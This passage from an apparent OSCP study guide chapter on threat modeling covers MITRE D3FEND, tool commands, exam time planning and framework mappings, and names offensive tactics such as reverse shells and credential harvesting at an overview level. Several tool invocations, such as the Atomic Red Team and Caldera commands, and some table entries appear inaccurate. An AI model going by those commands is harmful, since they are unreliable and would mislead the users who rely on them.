ATT&CK Navigator Web Visualize ATT&CK techniques attack.mitre.org/tools/navigator
ATT&CK mitre-cal Python Programmatic access to ATT&CK github.com/mitre/caldera
Splunk ATT&CK Navigator App Splunk integration Splunkbase
Atomic Red Team Framework Execute ATT&CK techniques atomicredteam.io
Caldera Platform Automated adversary emulation github.com/mitre/caldera

9.3 MITRE D3FEND

D3FEND (Detect, Defend, and Deceive) is MITRE’s defensive techniques knowledge base, aligned with ATT&CK.

D3FEND Structure

┌─────────────────────────────────────────────────────────────┐
│                    D3FEND Model                              │
│                                                             │
│  Defensive Techniques:                                      │
│  ├── Detect                                             │
│  │   ├── Anomaly Detection                                  │
│  │   ├── Signature Detection                                │
│  │   └── Behavior Detection                                 │
│  ├── Defend                                                 │
│  │   ├── Access Control                                     │
│  │   ├── Encryption                                         │
│  │   ├── Patching                                           │
│  │   └── Network Segmentation                               │
│  └── Deceive                                                │
│      ├── Honeypots                                          │
│      ├── Honeytokens                                        │
│      └── Decoys                                             │
│                                                             │
│  Mapping: Each D3FEND technique maps to ATT&CK techniques   │
│  it defends against                                         │
└─────────────────────────────────────────────────────────────┘

D3FEND Examples

D3FEND Technique Defends Against (ATT&CK) Description
Multi-Factor Authentication T1078 (Valid Accounts) Require multiple authentication factors
Input Validation T1190 (Exploit Public-Facing App) Validate and sanitize all inputs
File Integrity Monitoring T1222 (File Permissions) Detect unauthorized file changes
Network Segmentation T1021 (Remote Services) Limit lateral movement paths
Endpoint Detection and Response T1059 (Command Interpreter) Detect malicious command execution

9.4 Practical Tool Commands

# ATT&CK Navigator - Export layer
# Use the web interface at attack.mitre.org/tools/navigator

# Atomic Red Team - Execute a technique
# Install: https://github.com/redcanaryco/atomic-red-team
cd AtomicRedTeam/atomics/T1059
./atomic_test_runner.py execute --technique T1059

# MITRE Caldera - Adversary emulation
# Install: https://github.com/mitre/caldera
caldera -s

# Threat Dragon - Create threat model
# Install: https://github.com/OWASP/threat-dragon
npm install -g @owasp/threat-dragon
threat-dragon

10. Exam Tips

10.1 Threat Modeling for OSCP Success

Key Mindset Shifts:
──────────────────

1. Think Like an Attacker, Not a Defender
   ├── What would I try first?
   ├── Where are the easiest entry points?
   ├── What's the path of least resistance?
   └── How would I escalate from here?

2. Map to Known Patterns
   ├── Recognize common vulnerability patterns
   ├── Apply known exploitation techniques
   ├── Follow established attack chains
   └── Use ATT&CK as a mental framework

3. Document Everything
   ├── Record every command and output
   ├── Map findings to STRIDE categories
   ├── Track attack paths taken
   └── Build evidence for the report

4. Prioritize Efficiently
   ├── Easy wins first (default creds, known CVEs)
   ├── Web apps have high attack surface
   ├── Post-exploitation reveals new targets
   └── Don't spend too long on one path

10.2 Common Threat Modeling Questions

Question Approach
“How would you assess this application?” Apply STRIDE to each component, identify entry points
“What are the biggest risks?” Map to threat actors, assess likelihood and impact
“How would you prioritize testing?” Start with external-facing, high-value targets
“What defenses would you recommend?” Map mitigations to identified threats
“How does this map to ATT&CK?” Identify tactics and techniques used

10.3 Time Management with Threat Modeling

OSCP Exam Time Allocation with Threat Modeling:

Hour 1-2: Reconnaissance and Threat Modeling
├── Initial scanning (30 min)
├── Service enumeration (30 min)
├── Attack surface analysis (30 min)
└── Attack path planning (30 min)

Hour 3-6: Initial Access and Exploitation
├── Web application testing (1-2 hours)
├── Service exploitation (1-2 hours)
├── Credential attacks (30 min)
└── Reverse shell establishment (30 min)

Hour 7-10: Post-Exploitation and Lateral Movement
├── Privilege escalation (1-2 hours)
├── Credential harvesting (30 min)
├── Lateral movement (1-2 hours)
└── Domain compromise (1-2 hours)

Hour 11-24: Documentation and Report
├── Evidence collection (2 hours)
├── Report writing (8-10 hours)
└── Review and submission (2 hours)

10.4 Red Flags to Avoid

⚠️ Do NOT:
├── Perform DoS attacks (out of scope)
├── Use automated scanners excessively (may trigger alerts)
├── Delete or modify system files unnecessarily
├── Clear logs (may be detected)
├── Spend too long on one target (time management)
└── Forget to document findings (report is 30% of grade)

✅ DO:
├── Document every step taken
├── Map findings to frameworks (STRIDE, ATT&CK)
├── Take screenshots of evidence
├── Save command outputs
├── Track credentials and access
└── Write the report as you go

11. Cross-References

Topic Reference Relationship
Attack Lifecycle 02-attack-lifecycle.md Threat models map to kill chain phases
Penetration Testing Methodology 04-penetration-testing-methodology.md Threat modeling informs test planning
Reconnaissance 05-reconnaissance.md Recon data feeds threat models
Vulnerability Assessment 06-vulnerability-assessment.md VA findings validate threat models
Exploitation 07-exploitation.md Exploitation executes threat scenarios
Post-Exploitation 08-post-exploitation.md Post-exploitation follows attack paths
Privilege Escalation 09-privilege-escalation.md EoP is a STRIDE category
Lateral Movement 10-lateral-movement.md Lateral movement is an ATT&CK tactic
Reporting 11-reporting.md Threat models structure reports

Framework Cross-Reference

Framework Integration Map:

STRIDE ←→ ATT&CK
├── Spoofing → T1078 (Valid Accounts), T1550 (Use Alternate Auth)
├── Tampering → T1059 (Command Interpreter), T1222 (File Permissions)
├── Repudiation → T1070 (Indicator Removal)
├── Information Disclosure → T1005 (Data from Local System)
├── Denial of Service → T1499 (Endpoint Denial of Service)
└── Elevation of Privilege → T1068 (Exploitation for Priv Esc)

PASTA ←→ Pen Testing Methodology
├── Step 1-2 → Planning and Reconnaissance
├── Step 3-4 → Vulnerability Assessment
├── Step 5-6 → Exploitation
└── Step 7 → Post-Exploitation and Reporting

LINDDUN ←→ Compliance
├── GDPR compliance mapping
├── Privacy impact assessments
└── Data protection controls

VAST ←→ DevSecOps
├── CI/CD integration
├── Automated threat modeling
└── Shift-left security

12. Summary

Key Takeaways

  1. Threat modeling is proactive security — Identify threats before attackers do by systematically analyzing your attack surface.

  2. STRIDE is the foundational framework — Master the six categories (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) as they map directly to real-world attack scenarios.

  3. Different frameworks serve different purposes:

    • STRIDE: Application-level threat categorization
    • PASTA: Business-risk-driven enterprise analysis
    • LINDDUN: Privacy-focused threat modeling
    • VAST: Agile, scalable, DevOps-integrated
    • Attack Trees: Structured attack path visualization
  4. Threat actors vary widely — Understanding the motivation, capability, and TTPs of different actors (script kiddies, cybercriminals, APTs, insiders) helps prioritize defenses and attack simulations.

  5. MITRE ATT&CK is the industry standard — Map all attack techniques to ATT&CK for consistent documentation, planning, and reporting.

  6. OSCP exam relevance:

    • Think like a cybercriminal (primary mindset)
    • Map techniques to ATT&CK for documentation
    • Use STRIDE to identify exploitation opportunities
    • Prioritize efficient attack paths
    • Document everything for the report
  7. Practical application:

    • Perform threat modeling before each engagement
    • Map findings to frameworks during testing
    • Use attack trees to plan attack paths
    • Leverage ATT&CK Navigator for visualization
    • Reference D3FEND for defensive recommendations

Quick Reference Card

┌─────────────────────────────────────────────────────────────┐
│              Threat Modeling Quick Reference                  │
│                                                             │
│  STRIDE:                                                    │
│  S - Spoofing        → Authentication bypass                │
│  T - Tampering       → Data/code modification               │
│  R - Repudiation     → Denial of actions                    │
│  I - Info Disclosure → Data exposure                        │
│  D - Denial of Service → Availability disruption            │
│  E - Elevation of Priv → Authorization bypass               │
│                                                             │
│  ATT&CK Tactics (OSCP Relevant):                            │
│  1. Initial Access     → Web exploits, service exploits     │
│  2. Execution          → Reverse shells, scripts            │
│  3. Persistence        → Cron, scheduled tasks, services    │
│  4. Privilege Escalation → LPE techniques                   │
│  6. Credential Access  → Mimikatz, shadow, Kerberoasting    │
│  7. Discovery          → Systeminfo, user enum              │
│  8. Lateral Movement   → SMB, RDP, SSH, PtH                 │
│  10. C2               → Reverse shells, proxies             │
│                                                             │
│  OSCP Priority:                                             │
│  1. Scan → 2. Exploit → 3. Escalate → 4. Move → 5. Dominate│
└─────────────────────────────────────────────────────────────┘

Further Reading


Last Updated: 2026-09-01 Chapter 01 - Introduction to CyberSecurity | Topic 03